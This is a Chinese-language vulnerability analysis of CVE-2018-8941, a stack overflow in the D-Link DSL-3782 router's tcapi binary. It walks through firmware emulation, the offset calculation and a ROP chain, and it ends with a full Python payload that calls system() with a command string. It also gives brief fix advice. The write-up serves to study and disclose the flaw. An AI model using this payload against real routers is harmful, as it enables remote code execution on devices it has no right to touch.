D-Link DSL-3782授权用户远程代码执行
字数 1513 2025-08-22 12:22:48
D-Link DSL-3782 授权用户远程代码执行漏洞分析 (CVE-2018-8941)
漏洞概述
D-Link DSL-3782 路由器中的 /userfs/bin/tcapi 二进制文件存在栈溢出漏洞。该二进制文件被用作Web GUI中"诊断"功能的包装。经过身份验证的用户可以通过"set Diagnostics_Entry"功能将一个长缓冲区作为"Addr"参数传递给该二进制文件,导致内存损坏,最终可覆盖返回地址并执行任意代码。
环境准备
所需工具
- firmware-analysis-toolkit (固件仿真工具)
- Burp Suite (用于拦截和修改HTTP请求)
- QEMU (用于模拟MIPS环境)
- IDA Pro (反汇编和调试工具)
- Python (用于构造payload)
固件下载
固件可从以下地址下载:
ftp://ftp.dlink.eu/Products/dsl/dsl-3782/driver_software/DSL-3782_A1_EU_1.01_07282016.zip
漏洞分析
漏洞位置
漏洞存在于 /userfs/bin/tcapi 二进制文件中,具体是在 libtcapi 库的 tcapi_set 函数中。该函数使用 strcpy 进行字符串复制而没有进行长度检查,导致栈溢出。
触发条件
- 需要经过身份验证的用户权限
- 通过Web GUI的"诊断"功能发送特制的"Addr"参数
漏洞验证步骤
-
固件仿真:
使用 firmware-analysis-toolkit 对固件进行仿真模拟,找到"Diagnostics Entry Address"接口。 -
绕过前端校验:
由于前端有输入校验,无法直接通过Web界面输入造成溢出的数据,需要使用Burp Suite拦截并修改请求。 -
构造溢出数据:
通过Burp Suite发送特制的栈溢出数据,观察路由器是否崩溃以及寄存器的变化。
调试分析
-
运行环境设置:
sudo chroot . ./qemu-mips-static userfs/bin/tcapi set Diagnostics_Entry Addr [payload] -
调试命令:
使用QEMU的调试功能:-g [port]然后使用IDA Pro的remote gdb进行调试。
-
关键函数分析:
- 程序调用
tcapi_set函数(位于libtcapi中) strcpy调用无长度检查导致栈溢出- 返回地址栈位置距离第三个参数在栈上的偏移是596字节
- 程序调用
漏洞利用
偏移计算
- 返回地址距离输入缓冲区的偏移:596字节
- 测试payload:
'A'*596 + 'BBBB',可观察到返回地址寄存器被覆盖为0x42424242
利用方法选择
由于检查发现没有任何保护机制(NX, ASLR等),可以考虑:
- 直接写入shellcode并跳转执行
- 构造ROP链
ROP链构造
-
查找gadget:
由于tcapi程序中缺少合适的gadget,需要从依赖库libc.so.0中寻找。 -
关键gadget:
- 偏移16710处的gadget:调用的函数地址由s0寄存器决定,参数是sp+24
- 需要:
libc_base + 16708覆盖$ra寄存器system实际地址覆盖s0寄存器- 命令字符串放在sp+24位置
-
libc基址获取:
- 通过QEMU的
-strace参数观察系统调用 - 发现
libc.so.0被加载到0x40867000附近 - 调整后确定基址为
0x40868000
- 通过QEMU的
最终payload构造
import struct
libc_base = 0x40868000
libc_system = struct.pack(">I", libc_base + 0x59bb0)
rop_pad = 'A' * 580
s0 = libc_system
s1 = 'BBBB'
s2 = 'BBBB'
s3 = 'BBBB'
ra = struct.pack(">I", libc_base + 0x16708)
payload = rop_pad + s0 + s1 + s2 + s3 + ra + "C" * 24 + 'ls'
漏洞修复建议
- 对输入参数进行长度检查
- 使用安全的字符串函数(如
strncpy)替代strcpy - 启用编译器的栈保护机制